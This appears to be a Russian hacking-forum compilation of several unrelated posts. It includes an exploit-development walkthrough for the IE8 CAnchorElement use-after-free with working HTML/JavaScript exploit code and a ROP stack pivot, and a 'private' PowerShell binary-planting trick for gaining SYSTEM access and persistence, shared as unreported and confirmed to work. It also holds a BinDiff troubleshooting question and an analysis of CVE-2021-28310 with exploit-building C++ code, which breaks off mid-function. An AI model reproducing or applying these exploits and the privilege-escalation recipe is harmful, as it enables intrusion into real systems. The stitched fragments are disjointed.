В дополнение к вышеупомянутым диспетчерам кучи существует также куча сегментов, которая была добавлена в Windows 10. Об этом можно прочитать здесь (<https://www.blackhat.com/docs/us-16/materials/us-16-Yason- Windows-10-Segment-Heap-Internals.pdf>).
Обратите внимание, что это объяснение кучи может быть более полно объяснено в статье Криса, и приведенные выше объяснения не являются исчерпывающим списком, больше нацелены на Windows 7 и перечислены просто для краткости и потому, что они применимы к этому эксплойту.
Стратегия уязвимости и эксплуатации
Теперь, когда мы поговорили о C++ и поведении кучи в Windows, давайте перейдем к самой уязвимости. Полный сценарий эксплойта доступен в Exploit-DB от команды Metasploit (https://www.exploit-db.com/exploits/28187), и если вас смущает комбинация Ruby и HTML/JavaScript, я пошел дальше и сократил код до "кода триггера", что вызывает сбой.
Возвращаясь к уязвимости и читая описание, эта уязвимость возникает, когда CPhraseElement идет после элемента CTableRow, а последний узел является элементом подтаблицы. Сначала это может показаться запутанным и нелогичным, и это потому, что это так. Не беспокойтесь в первую очередь о порядке кода, а о фактической основной причине, которая заключается в том, что когда свойство outerText объекта CPhraseElement сбрасывается (освобождается). Однако после того, как этот объект был освобожден, ссылка на него все еще остается в коде C++. Эта ссылка затем передается функции, которая в конечном итоге попытается получить виртуальную функцию для объекта. Однако, как мы видели ранее, доступ к виртуальной функции для освобожденного объекта приведет к сбою - и именно это здесь и происходит. Кроме того, эта уязвимость была опубликована на HitCon 2013. Вы можете просмотреть слайды здесь (<https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for- share.pdf>), которые содержат аналогичное POC. Обратите внимание, что хотя имена описанных элементов не совпадают с именами элементов в HTML, обратите внимание, что когда именуется что-то вроде CPhraseElement, оно относится к классу C++, который управляет определенным объектом. Так что пока просто сосредоточьтесь на том факте, что у нас есть функция JavaScript, которая по существу создает элемент, а затем устанавливает для свойства outerText значение NULL, что, по сути, выполняет "освобождение".
Итак, давайте перейдем в крэш. Прежде чем начать, обратите внимание, что все это делается на машине Windows 7 x86, Service Pack 0. Кроме того, мы сосредоточимся на браузере Internet Explorer 8. Если на компьютере с Windows 7 x86, на котором вы работаете, установлен Internet Explorer 11, убедитесь, что вы удалили его, чтобы по умолчанию использовался Internet Explorer 8. Простой поиск в Google поможет вам удалить IE11. Кроме того, вам понадобится WinDbg для отладки. Пожалуйста, используйте Windows SDK версии 8 для этого эксплойта, как и в Windows 7. Его можно найти здесь (https://go.microsoft.com/fwlink/p/?LinkId=226658).
После сохранения кода в виде файла .html при его открытии в Internet Explorer обнаруживается сбой, как и ожидалось.
Теперь, когда мы знаем, что наш POC приведет к сбою браузера, давайте сделаем WinDbg нашим отладчиком по умолчанию, точно так же, как мы делали это раньше, чтобы определить почему произошел сбой.
Снова запустив POC, мы видим, что наш сбой зарегистрирован в WinDbg, но это кажется бессмысленным.
Мы знаем, в соответствии с рекомендациями, что это условие UAF. Мы также знаем, что это результат выборки виртуальной функции из объекта, который больше не существует. Зная это, мы должны ожидать разыменования некоторой памяти, которая больше не существует. Однако это не так, и мы просто видим ссылку на недопустимую память. Вспомните, когда мы включали PageHeap! Здесь нам нужно сделать то же самое и включить PageHeap для Internet Explorer. Воспользуйтесь той же командой, что и ранее, но на этот раз укажите iexplore.exe.
После включения PageHeap давайте повторно запустим POC.
Интересно! Инструкция, по которой подает программа, взята из класса CElement. Обратите внимание на инструкцию, по которой происходит сбой: mov reg, dword ptr [eax + 70h]. Если мы дизассемблируем текущий указатель инструкции, мы увидим нечто, очень напоминающее наши инструкции ассемблирования, которые мы показали ранее для выборки виртуальной функции.
Вспомните, как в прошлый раз в нашей 64-битной системе процесс заключался в получении vptr или указателя на таблицу виртуальных функций, а затем в вызове того, на что указывает этот указатель, с определенным смещением. Например, при разыменовании vptr со смещением 0x8 будет взята таблица виртуальных функций, а затем вторая запись (запись 1 - 0x0, запись 2 - 0x8, запись 3 - 0x18, запись 4
Однако эта методология может выглядеть по-разному, в зависимости от того, используете ли вы 32-разрядную систему или 64-разрядную систему, и оптимизация компилятора также может изменить это, но общая концепция остается. Давайте теперь посмотрим на изображение выше.
Здесь происходит загрузка vptr через [ecx]. Vptr загружается в ECX, а затем разыменовывается, сохраняя указатель в EAX. Регистр EAX, который теперь содержит указатель на таблицу виртуальных функций, затем принимает указатель, вводит 0x70 байт и разыменовывает адрес, который будет одной из виртуальных функций (какая функция когда-либо хранится в virtual_function_table + 0x70)! Виртуальная функция помещается в EDX, а затем вызывается EDX.
Обратите внимание, как мы получаем тот же результат, что и наша простая программа ранее, хотя инструкции по ассемблированию немного отличаются? Поиск этих типов подпрограмм очень указывает на выборку виртуальной функции!
Прежде чем двигаться дальше, вспомним прежнюю картинку.
Обратите внимание на состояние EAX при сбое функции (прямо под оператором Access Violation). Вроде есть своего рода шаблон f0f0f0f0. Это шаблон gflags.exe для "освобожденного выделения", означающий, что значение в EAX находится в свободном состоянии. Это имеет смысл, поскольку мы пытаемся проиндексировать объект, которого просто больше не существует!
Перезапустите POC, и когда произойдет сбой, давайте выполним следующую команду !heap -p -a ecx.
Почему ECX? Как мы знаем, первое, что делает процедура выборки виртуальной функции - это загружает vptr из ECX в EAX. Поскольку это указатель на таблицу, которая была выделена кучей, технически это указатель на кусок кучи. Несмотря на то, что память находится в свободном состоянии, в данном случае на нее указывает значение [ecx], которым является vptr. Только до тех пор, пока мы не разыменуем память, мы сможем увидеть, что этот фрагмент действительно недействителен.
Двигаясь дальше, взгляните на стек вызовов, мы можем увидеть вызовы функций, которые привели к освобождению блока. В команде !heap -p означает использование параметра PageHeap, а -a - дамп всего фрагмента. В Windows, когда вы вызываете что-то вроде функции среды выполнения C, например free, она в конечном итоге передаст выполнение Windows API. Зная это, мы знаем, что "самый низкий уровень" (например, last) вызов функции внутри модуля для всего, что напоминает слово "free" или "destructor", отвечает за освобождение. Например, если у нас есть .exe с именем vulnexe, и vulnexe вызывает вызовы free из библиотеки MSVCRT (библиотека времени выполнения Microsoft C), он в конечном итоге передаст выполнение KERNELBASE!HeapFree или kernel32!HeapFree, в зависимости от того, в какой системе вы работаете. Теперь цель состоит в том, чтобы идентифицировать такое поведение и определить, какой класс на самом деле обрабатывает свободный объект, который отвечает за освобождение объекта (обратите внимание, это не обязательно означает, что это "уязвимый фрагмент кода", это просто означает, что именно здесь происходит освобождение).
Обратите внимание, что при анализе стеков вызовов в WinDbg, который представляет собой просто список вызовов функций, которые привели к тому, где в настоящее время находится выполнение, нижняя функция находится там, где находится начало, а верхняя - там, где выполнение в настоящее время/завершается. Анализируя стек вызовов, мы видим, что последний вызов перед срабатыванием kernel32 или ntdll поступил из библиотеки mshtml и из класса CanchorElement. Из этого класса мы видим, что деструктор запускает освобождение. Вот почему в уязвимости есть слова CAnchorElement Use-After- Free!
Замечательно, мы знаем, из-за чего объект освобождается! Согласно нашему
предыдущему разговору о нашей всеобъемлющей стратегии эксплуатации, мы могли
бы попытаться заполнить недействительную память некоторой памятью, которую мы
контролируем! Однако мы также говорили о куче в Windows и о том, как разные
структуры отвечают за определение того, какой фрагмент кучи используется для
обслуживания выделения.
Это сильно зависит от размера выделения.
Чтобы мы могли попытаться заполнить освобожденный кусок нашими собственными данными, нам сначала нужно определить размер освобождаемого объекта, таким образом, когда мы выделяем нашу память, мы надеемся, что она будет использоваться для заполнения освобожденной памяти, поскольку мы передаем браузеру запрос на выделение того же размера, что и освобожденный фрагмент (вспомните, как куча пытается использовать существующие освобожденные фрагменты на серверной части перед вызовом внешнего интерфейса).
Давайте на мгновение перейдем к IDA, чтобы попытаться реконструировать, насколько велик этот фрагмент, чтобы мы могли заполнить этот освобожденный фрагмент собственными данными.
Мы знаем, что механизм освобождения - это деструктор класса CAnchorElement. Поищем его в IDA. Для этого загрузите IDA Freeware для Windows на второй компьютер с Windows, который является 64-разрядным, и желательно с Windows 10. Затем возьмите mshtml.dll, который находится в C:\Windows\system32 на машине для разработки эксплойтов Windows 7, скопируйте его на машину Windows с IDA и загрузите. Обратите внимание, что могут возникнуть проблемы с получением правильных символов в IDA, поскольку это более старая DLL из Windows 7. Если это так, я предлагаю взглянуть на PDB Downloader (https://github.com/rajkumar-rangaraj/PDB-Downloader), чтобы быстро получить символы локально и вручную импортировать файлы .pdb.
Теперь поищем деструктор. Мы можем просто найти класс CAnchorElement и найти любые функции, содержащие слово деструктор.
Как видим, мы нашли деструктор! Согласно предыдущей трассировке стека, этот деструктор должен вызвать HeapFree, который фактически выполняет освобождение. Мы видим, что это так после дизассемблирования функции в IDA.
Запрашивая документацию Microsoft по HeapFree(<https://docs.microsoft.com/en- us/windows/win32/api/heapapi/nf-heapapi-heapfree>), мы видим, что он принимает три аргумента: 1. Дескриптор кучи, в которой будет освобождена часть памяти, 2. Флажки для освобождения и 3. Указатель на фактический фрагмент памяти, который нужно освободить.
На этом этапе вы можете спросить: "Ни один из этих параметров не является размером". Это верно! Однако теперь мы видим, что адрес блока, который будет освобожден, будет третьим параметром, передаваемым вызову HeapFree. Обратите внимание, что, поскольку мы находимся в 32-битной системе, аргументы функций будут передаваться через соглашение о вызовах __stdcall, что означает, что стек используется для передачи аргументов в вызов функции.
Еще раз взгляните на прототип предыдущего образа. Обратите внимание, что деструктор принимает аргумент для объекта типа CanchorElement. Это имеет смысл, поскольку это деструктор для объекта, созданного из класса CanchorElement. Это также означает, однако, что должен быть конструктор, способный также создавать указанный объект! И когда деструктор вызывает HeapFree, конструктор, скорее всего, вызовет либо malloc, либо HeapAlloc! Мы знаем, что последний аргумент для вызова HeapFree в деструкторе - это адрес фактического фрагмента, который нужно освободить. Это означает, что в первую очередь необходимо выделить кусок. При повторном поиске функций в IDA в классе CAnchorElement есть функция под названием CreateElement, которая очень характерна для конструктора объекта CAnchorElement! Давайте посмотрим на это в IDA.
Отлично, мы видим, что на самом деле есть вызов HeapAlloc. Обратимся к документации Microsoft для этой функции (<https://docs.microsoft.com/en- us/windows/win32/api/heapapi/nf-heapapi-heapalloc>).
Первый параметр - это снова дескриптор существующей кучи. Во-вторых, это любые флаги, которые вы хотите установить для выделения кучи. Третье и самое важное для нас - это фактический размер кучи. Это говорит нам о том, что при создании объекта CAnchorElement он будет иметь размер 0x68 байт. Если мы снова откроем наш POC в Internet Explorer, позволив отладчику снова взять на себя ответственность, мы фактически увидим, что размер свободного от уязвимости фрагмента кучи размером 0x68 байт, точно так же, как и наш реверс инжиниринг CAnchorElement::CreateElement показывает функцию.
Это доказывает нашу гипотезу, и теперь мы можем приступить к редактированию нашего скрипта, чтобы увидеть, не можем ли мы контролировать это распределение. Прежде чем продолжить, давайте отключим PageHeap для IE8.
Теперь, когда это сделано, давайте обновим наш POC следующим кодом.
Вышеупомянутый POC снова начинается с триггера, чтобы создать условие использования после освобождения. После запуска use-after-free мы создаем строку размером 104 байта, что составляет 0x68 байтов - размер освобожденного выделения. Само по себе это не приводит к выделению памяти в куче. Однако, как указывает Корелан (<https://www.corelan.be/index.php/2013/02/19/deps-precise- heap-spray-on-firefox-and-ie10/>), можно создать произвольный элемент DOM и установить одно из свойств для строки. Это действие на самом деле приведет к тому, что размер строки, установленной для свойства элемента DOM, будет размещен в куче!
Давайте запустим новый POC и посмотрим, какой результат мы получим, снова используя WinDbg в качестве посмертного отладчика.
Интересно! На этот раз мы пытаемся разыменовать адрес 0x41414141 вместо того, чтобы получить произвольный сбой, как это было в начале этой статьи, путем запуска исходного POC без включенного PageHeap! Однако причина этого сбоя совсем другая! Напомним, что фрагмент кучи, вызывающий проблему, находится в ECX, как мы видели ранее. Однако на этот раз вместо того, чтобы видеть освобожденную память, мы действительно можем видеть, что наши данные, контролируемые пользователем, теперь выделяют кусок кучи!
Теперь, когда мы, наконец, выяснили, как мы можем контролировать данные в ранее освобожденном фрагменте, мы можем довести все, что описано в этом руководстве, до полного круга. Давайте посмотрим на текущее выполнение программы.
Мы знаем, что это процедура для выборки виртуальной функции из таблицы виртуальных функций. Первая инструкция mov eax, dword ptr [ecx] берет указатель таблицы виртуальных функций, также известный как vptr, и загружает его в регистр EAX. Затем оттуда снова разыменовывается этот vptr, который указывает на таблицу виртуальных функций, и вызывается с указанным смещением. Обратите внимание, как в настоящее время мы контролируем регистр ECX, который используется для хранения vptr.
Давайте также посмотрим на этот фрагмент в контексте структуры HeapBase.
Как мы видим, в куче наш чанк является частью, LFH активирован (FrontEndHeapType 0x2 означает, что LFH используется). Как упоминалось ранее, это позволит нам легко заполнить освободившуюся память нашими собственными данными, как мы только что видели на изображениях выше. Помните, что LFH также является LIFO, как и стек, в Windows 7. Последний освобожденный фрагмент - это первый выделенный фрагмент в следующем запросе. Это оказалось полезным, поскольку мы смогли определить правильный размер для этого распределения и обслужить его.
Это означает, что нам принадлежат 4 байта, которые ранее использовались для хранения vptr. А теперь давайте подумаем - что, если бы можно было построить нашу собственную фальшивую таблицу виртуальных функций с записями 0x70? Что мы могли сделать, так это с помощью нашего примитива для управления vptr мы могли бы заменить vptr указателем на нашу собственную "таблицу виртуальных функций", которую мы могли бы разместить где-нибудь в памяти. Отсюда мы могли бы создать 70 указателей (представьте себе 70 "поддельных функций"), а затем иметь управляемый нами vptr, указывающий на таблицу виртуальных функций.
По замыслу программы, выполнение программы естественным образом разыменовало бы нашу фальшивую таблицу виртуальных функций, оно извлекло бы все, что находится в нашей фальшивой таблице виртуальных функций со смещением 0x70, и вызвало бы это! Наша цель - построить наш собственный vftable и сделать 70-ю "функцию" в нашей таблице указателем на цепочку ROP, которую мы создали в памяти, которая затем обойдет DEP и предоставит нам оболочку!
Теперь мы знаем, что можем заполнить освободившееся выделение собственными данными. Вместо того, чтобы просто использовать элементы DOM, мы фактически будем использовать технику для выполнения точного перераспределения с HTML + TIME, как описано в Exodus Intelligence (<https://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of- cve-2012-4792/>). Я выбрал этот метод, чтобы просто избежать распыления кучи, что не является основной темой этой публикации. Основное внимание здесь уделяется изучению уязвимостей использования после освобождения и пониманию поведения JavaScript. Обратите внимание, что в более современных системах, где такого примитива, как этот, больше не существует, это то, что затрудняет использование использования после освобождения - перераспределение и восстановление освобожденной памяти. Может потребоваться дополнительная обратная инженерия для поиска объектов подходящего размера и т. д.
По сути, этот "метод" HTML + TIME, который работает только для IE8, вместо того, чтобы просто помещать 0x68 байт памяти для заполнения нашей кучи, что по-прежнему приводит к сбою, потому что мы не предоставляем указатели ни на что, только необработанные данные, мы действительно можем создать массив указателей 0x68, который мы контролируем. Таким образом, мы можем заставить выполнение программы вызывать что-то значимое (например, нашу фальшивую виртуальную таблицу!).
Взгляните на наш обновленный POC. (Возможно, вам потребуется открыть первое изображение в новой вкладке)
Опять же, в блоге Exodus будут подробно описаны детали, но, по сути, здесь происходит то, что мы можем использовать SMIL (язык синхронизированной интеграции мультимедиа), чтобы вместо простого создания 0x68 байтов данных для заполнения кучи создавать указатели на 0x68 байтов, который гораздо более полезен и позволит нам создать фальшивую таблицу виртуальных функций.
Обратите внимание, что хип распыление - это альтернатива, хотя она относительно тщательно изучается. Смысл этого эксплойта состоит в том, чтобы задокументировать уязвимости, связанные с использованием после освобождения, и то, как определить размер освобожденного выделения и как его правильно заполнить. Эта специфическая техника сегодня тоже не применима. Однако это начало моего изучения эксплуатации браузеров, и я ожидаю, что начну с основ.
Давайте теперь снова запустим POC и посмотрим, что произойдет.
Отличная новость, мы управляем указателем инструкции! Давайте посмотрим, как мы сюда попали. Напомним, что мы выполняем код в рамках той же процедуры в CElement :: Doc, где мы были, где мы извлекаем виртуальную функцию из vftable. Взгляните на изображение ниже.
Начнем с самого верха. Как мы видим, EIP теперь настроен на наши данные,
контролируемые пользователем. Значение в ECX, как это было верно на протяжении
всей этой процедуры, содержит адрес блока кучи, который был виновником
уязвимости.
Теперь мы контролировали этот освобожденный фрагмент с помощью
предоставленного пользователем фрагмента байта 0x68.
Как мы знаем, этот кусок кучи в ECX при разыменовании содержит vptr, или, в нашем случае, поддельный vptr. Обратите внимание, что первое значение в ECX и все последующие значения - 004 .… Это массив указателей, возвращенных методом HTML + TIME! Если мы разыменуем первый член, это будет указатель на наш поддельный vftable! Это замечательно, поскольку значение в ECX разыменовывается для получения нашего поддельного vptr (один из указателей из метода HTML + TIME). Затем это указывает на нашу фальшивую таблицу виртуальных функций, и мы установили 70-й член равным 42424242, чтобы подтвердить контроль над указателем инструкции. Чтобы повторить еще раз, помните, что код для получения виртуальной функции выглядит следующим образом:
mov eax, dword ptr [ecx] ; Это Кладет vptr в EAX из значения, на которое указывает ECX
mov edx, dword ptr [eax+0x70] ; Это берет vptr, разыменовывает его, чтобы получить указатель на таблицу виртуальных функций со смещением 0x70, и сохраняет его в EDX.
call edx ; Функция вызываетсяClick to expand...
Итак, здесь произошло то, что мы загрузили наш кусок кучи, который заменил освобожденный фрагмент, в ECX. Значение в ECX указывает на наш кусок кучи. Наш кусок кучи имеет размер 0x68 байт и состоит только из указателей либо на поддельную таблицу виртуальных функций (1-й указатель), либо на указатель на строку vftable (2-й указатель и т.д.). Это можно увидеть на изображении ниже (в WinDbg poi() разыменует то, что находится в круглых скобках, и отобразит это).
Это значение в ECX, которое является указателем на нашу поддельную vtable, также помещается в EAX.
Значение EAX со смещением 0x70 затем помещается в регистр EDX. Затем вызывается это значение.
Как мы видим, это 42424242, это целевая функция из нашего поддельной vftable! Теперь мы успешно создали наш примитив эксплойта и можем начать с цепочки ROP, где мы можем обмениваться регистрами EAX и ESP, поскольку мы контролируем EAX, для получения управления стеком и создания цепочки ROP.
Я имею в виду, комон, ты ожидал, что я упущу возможность написать свою собственную цепочку ROP?
Прежде всего, прежде чем мы начнем, хорошо известно, что IE8 содержит некоторые модули, которые не зависят от ASLR. Для этих целей этот эксплойт не будет принимать во внимание ASLR, но я надеюсь, что настоящий обход ASLR через утечку информации - это то, чем я могу воспользоваться в будущем, и я хотел бы задокументировать эти результаты в блоге. Однако на данный момент мы должны научиться ходить, прежде чем сможем бегать. В настоящее время я только изучаю использование браузера, и я еще не там. Однако надеюсь буду там скоро!
Хорошо известно (<https://www.corelan.be/index.php/2011/07/03/universal- depaslr-bypass-with-msvcr71-dll-and-mona-py/>), что при использовании Java Runtime Environment, а именно версии 1.6, в Internet Explorer 8 загружается более старая версия MSVCR71.dll, которая не скомпилирована с ASLR. Мы могли бы просто использовать эту DLL для наших целей. Однако, поскольку по этому поводу уже есть много документации, мы продолжим и просто отключим ASLR для всей системы и построим нашу собственную цепочку ROP, чтобы обойти DEP, с другой библиотекой, которая не имеет "автоматизированной цепочки ROP". Еще раз заметьте, это первая публикация в серии, в которой я надеюсь сделать вещи более современными. Тем не менее, я нахожусь в сакмом начале обучения в том, что касается изучения использования браузеров, поэтому мы собираемся начать с ходьбы, а не с бега. В этой статье описывается, как отключить ASLR в масштабах всей системы.
Отлично. Отсюда мы можем использовать утилиту rp++ (https://github.com/0vercl0k/rp) для перечисления гаджетов ROP для данной DLL. Поищем в mshtml.dll, он нам уже знаком!
Для начала мы знаем, что наша фальшивая таблица виртуальных функций находится в EAX. Здесь мы не ограничены определенным размером, так как на эту таблицу указывает первый из 26 DWORDS (всего 0x68 или 104 байта), который заполняет освобожденный кусок кучи. Благодаря этому мы можем обменять регистр EAX (которым мы управляем) с регистром ESP. Это даст нам контроль над стеком и позволит начать формирование цепочки ROP.
Анализируя вывод ROP-гаджета из rp++, мы видим, что существует хороший ROP- гаджет.
Давайте обновим наш POC этим гаджетом ROP вместо прежнего DWORD 42424242, который используется вместо нашей фальшивой виртуальной функции.
HTML:Copy to clipboard
<!DOCTYPE html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<meta><?IMPORT namespace="t" implementation="#default#time2"></meta>
<script>
window.onload = function() {
// Создайте фальшивую таблицу из 70 DWORDS (70 "функций")
vftable = "\u4141\u4141";
for (i=0; i < 0x70/4; i++)
{
// Это то место, где выполнение будет достигнуто, когда фальшивая vtable проиндексирована, потому что уязвимость использования после освобождения является результатом извлечения виртуальной функции в [eax+0x70]
// which is now controlled by our own chunk
if (i == 0x70/4-1)
{
vftable+= unescape("\ua1ea\u74c7"); // xchg eax, esp ; ret (74c7a1ea) (mshtml.dll) Get control of the stack
}
else
{
vftable+= unescape("\u4141\u4141");
}
}
// This creates an array of strings that get pointers created to them by the values property of t:ANIMATECOLOR (so technically these will become an array of pointers to strings)
// Just make sure that the strings are semicolon seperated (the first element, which is our fake vftable, doesn't need to be prepended with a semicolon)
// The first pointer in this array of pointers is a pointer to the fake vftable, constructed with the above for loops. Each ";vftable" string is prepended to the longer 0x70 byte fake vftable, which is the first pointer/DWORD
for(i=0; i<25; i++)
{
vftable += ";vftable";
}
// Trigger the UAF
var x = document.getElementById("a");
x.outerText = "";
/*
// Create a string that will eventually have 104 non-unicode bytes
var fillAlloc = "\u4141\u4141";
// Strings in JavaScript are in unicode
// \u unescapes characters to make them non-unicode
// Each string is also appended with a NULL byte
// We already have 4 bytes from the fillAlloc definition. Appending 100 more bytes, 1 DWORD (4 bytes) at a time, compensating for the last NULL byte
for (i=0; i < 100/4-1; i++)
{
fillAlloc += "\u4242\u4242";
}
// Create an array and add it as an element
// https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/
// DOM elements can be created with a property set to the payload
var newElement = document.createElement('img');
newElement.title = fillAlloc;
*/
try {
a = document.getElementById('anim');
a.values = vftable;
}
catch (e) {};
</script>
<table>
<tr>
<div>
<span>
<q id='a'>
<a>
<td></td>
</a>
</q>
</span>
</div>
</tr>
</table>
ss
</html>
Давайте (пока) оставим WinDbg настроенным как наш отладчик и посмотрим, что произойдет. Запустив POC, мы видим, что происходит сбой, и указатель инструкции указывает на 41414141.
Ну и я сегодня добрый. И еще повлиял тот факт, что де-факто тут выкладывают ЧЬИ-ТО статьи, которыми и так пестрит паблик. Оке) сделаю исключение и поделюсь с Вами совсем приватом. Этого нет нигде, точно. Признаюсь, заметил это не я. Так что выкладываю на языке автора. Хотя, уверен что его родной, все-таки китайский.. Итак:
I was researching some software and I found a binary planting issue. I thought
it was contained to the software itself, but it was not. The service executed
a powershell cmdlet native to windows, but I noticed that it browsed the
user's AppData directory first before executing the system32 version.
Since the service I was exploiting executed as NT Authority/System, I got
system access.
Using procmon, contains NO SUCH as Result and contains powershell as Process Name.
Result of starting Powershell.exe
Take a binary, that executes code of your choice and name it Get-Variable.exe
and place it in
C:\Users<currentloggedinuser>\AppData\Local\Microsoft\WindowsApps\. Launch
powershell, get code execution. This only works for powershell.exe itself,
you'll need to find what cmdlet is specifically called to the target sotware
you are auditing.
Now, different scripts will call different cmdlets, so it would be important
to audit GPO scripts that execute in the context of the logged in user
session, but as an elevated process. This includes any service that might call
a powershell cmdlet. As I stated earily, I have gotten SYSTEM level access
against 'security' software recently that would call innoculus native cmdlets,
only to be hijacked in a user writable directory.
I think Windows 10 build 1909+ are affected.
As you might have already thought of, this can be used a persistence method.
I have not reported this to MSRC (and will not) as they do not consider binary
planting an issue.
<https://msrc-blog.microsoft.com/2018/04/04/triaging-a-dll-planting-
vulnerability/>
Enjoy!
От себя добавлю - работает замечательно, проверено) Enjoy)
В этой теме хотелось бы затронуть вопрос корректности работы Bindiff/Binexport с IDA Pro 7.5 (Oscar Agreda). А именно, связана ли версия SDK с выводом программы? А также, как можно решить эту проблему? (спойлер: временно перешел на Diaphora).
Исходные данные:
Bindiff 6 устанавливался штатно с официального сайта. Хотелось бы отметить,
что в мануале написано, что он использует SDK 7.4.
Версия Windows: 20h2
Базы иды для анализа импортировались штатно Binexport'ом с последующим
запуском в GUI Bindiff'а (в GUI IDA результаты аналогичные). Ниже представлены
результаты сравнения вывода Bindiff и Diaphora (2.02) соответственно.
Если верить Bindiff, то функция win32kfull!xxxCreateWindowEx не патчилась
вовсе (а это не так). Более того, количество базовых блоков по сравнению с
выводом Diaphora сильно меньше. Это связано с тем, что Bindiff явно режет
нормальные функции на части, из-за чего в выводе можно встретить большое
количество неопознанных имен функций (см. скриншоты выше).
Это уже не первый раз, когда я столкнулся с таким поведением программы. Вопрос к форумчанам, сталкивался ли кто с подобным на SDK 7.4? Для сравнения корректности результатов могу скинуть бинари win32kfull.sys (UBR 746 и 804). Если никто не откликнется, то попробую решить проблему, пересобрав Binexport 11 на SDK 7.5 и перепроверить результаты.
Также есть хорошая новость, что к выходу IDA Pro 7.6 готовится выход Bindiff 7, который не использует функциональность SDK 7.6, а значит должен работать корректно на SDK 7.5 (если проблема вообще в этом).
Анализируя [эксплойт к CVE-2021-1732](https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows- kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/), первоначально обнаруженный центром аналитики угроз DBAPPSecurity и используемый APT-группой BITTER, мы обнаружили еще один эксплойт нулевого дня, который, как мы полагаем, связан с этой же группой. Мы сообщили компании Microsoft о новом эксплойте в феврале. После того как подтвердилось, что эксплойт действительно использует уязвимость нулевого дня, ей присвоили обозначение CVE-2021-28310. Microsoft выпустила [исправление](https://msrc.microsoft.com/update- guide/vulnerability/CVE-2021-28310) для этой уязвимости в составе апрельских обновлений безопасности.
По нашей информации, эксплойт CVE-2021-28310 уже применяют злоумышленники — возможно, несколько групп. Он предназначен для эскалации привилегий (EoP) и, вероятно, используется совместно с другими браузерными эксплойтами в целях «побега из песочницы» или получения системных привилегий для дальнейшего доступа к ресурсам. К сожалению, нам не удалось зафиксировать полную цепочку заражения, поэтому мы не знаем, используется ли эксплойт с другими браузерными уязвимостями нулевого дня или с известными уязвимостями, для которых уже выпущены исправления.
Первоначально эксплойт был выявлен нашей передовой технологией защиты от эксплойтов, и связанными с ней детектирующими логиками. Стоит отметить, что за последние несколько лет мы внедрили в наши продукты множество технологий защиты от эксплойтов. С их помощью удалось обнаружить несколько уязвимостей нулевого дня, что раз за разом подтверждает эффективность этих разработок. Мы будем и дальше укреплять защиту наших пользователей, делая интернет безопаснее для всех. Для этого мы продолжим совершенствовать свои технологии и сотрудничать со сторонними разработчиками для исправления уязвимостей. В этой статье мы приводим технический анализ уязвимости CVE-2021-28310 и описываем способ ее эксплуатации злоумышленниками. Дополнительная информация об APT- группе BITTER и индикаторах компрометации доступна клиентам сервиса Kaspersky Intelligence Reporting. Чтобы ее получить, обращайтесь по адресу intelreports@kaspersky.com .
Уязвимость CVE-2021-28310 связана с библиотекой dwmcore.dll, входящей в диспетчер окон рабочего стола (dwm.exe). Уязвимость относится к типу out-of- bounds (OOB) write, то есть дает возможность записывать данные за границами предполагаемого буфера. Ввиду отсутствия контроля границ злоумышленники могут создать ситуацию, позволяющую им записывать нужные данные по нужному смещению посредством API-интерфейса DirectComposition. [DirectComposition](https://docs.microsoft.com/en- us/windows/win32/directcomp/directcomposition-portal) — это компонент Windows, который впервые появился в Windows 8 и служит для создания растровых композиций с преобразованием изображений, спецэффектами и анимацией. Он поддерживает работу с растровыми изображениями из различных источников (GDI, DirectX и т. д.). В нашем блоге мы уже публиковали заметку об обнаруженных в реальной среде эксплойтах нулевого дня, связанных со злонамеренным использованием этого API DirectComposition. Этот интерфейс реализуется драйвером win32kbase.sys. Имена всех связанных системных вызовов начинаются со строки NtDComposition.
![](/proxy.php?image=https%3A%2F%2Fmedia.kasperskycontenthub.com%2Fwp-
content%2Fuploads%2Fsites%2F58%2F2021%2F04%2F19182032%2FCVE_2021_28310_01.png&hash=aaef5d064b2ca9e097fb0ed4dc00412a)
Системные вызовы DirectComposition в драйвере win32kbase.sys
Для применения эксплойта требуется только три системных вызова: NtDCompositionCreateChannel, NtDCompositionProcessChannelBatchBuffer и NtDCompositionCommitChannel. Системный вызов NtDCompositionCreateChannel инициирует канал, который может использоваться совместно с системным вызовом NtDCompositionProcessChannelBatchBuffer с целью отправки по несколько команд DirectComposition за раз для их обработки ядром в пакетном режиме. Чтобы этот механизм работал, команды должны быть последовательно записаны в специальный буфер, выделенный системным вызовом NtDCompositionCreateChannel. Каждая команда имеет собственный формат с переменной длиной и списком параметров.
C++:Copy to clipboard
enum DCOMPOSITION_COMMAND_ID
{
ProcessCommandBufferIterator,
CreateResource,
OpenSharedResource,
ReleaseResource,
GetAnimationTime,
CapturePointer,
OpenSharedResourceHandle,
SetResourceCallbackId,
SetResourceIntegerProperty,
SetResourceFloatProperty,
SetResourceHandleProperty,
SetResourceHandleArrayProperty,
SetResourceBufferProperty,
SetResourceReferenceProperty,
SetResourceReferenceArrayProperty,
SetResourceAnimationProperty,
SetResourceDeletedNotificationTag,
AddVisualChild,
RedirectMouseToHwnd,
SetVisualInputSink,
RemoveVisualChild
};
Список идентификаторов команд, поддерживаемых функцией DirectComposition::CApplicationChannel::ProcessCommandBufferIterator
Хотя эти команды обрабатываются ядром, они также сериализуются в другой формат и передаются через протокол локального вызова процедур (LPC) в процесс диспетчера окон рабочего стола (dwm.exe) для рендеринга данных на экран. Эта процедура может быть инициирована третьим системным вызовом — NtDCompositionCommitChannel.
Для реализации уязвимости обнаруженный эксплойт использует три типа команд: CreateResource, ReleaseResource и SetResourceBufferProperty.
C++:Copy to clipboard
void CreateResourceCmd(int resourceId)
{
DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);
*buf = CreateResource;
buf[1] = resourceId;
buf[2] = PropertySet; // MIL_RESOURCE_TYPE
buf[3] = FALSE;
BatchLength += 16;
}
void ReleaseResourceCmd(int resourceId)
{
DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);
*buf = ReleaseResource;
buf[1] = resourceId;
BatchLength += 8;
}
void SetPropertyCmd(int resourceId, bool update, int propertyId, int storageOffset, int hidword, int lodword)
{
DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);
*buf = SetResourceBufferProperty;
buf[1] = resourceId;
buf[2] = update;
buf[3] = 20;
buf[4] = propertyId;
buf[5] = storageOffset;
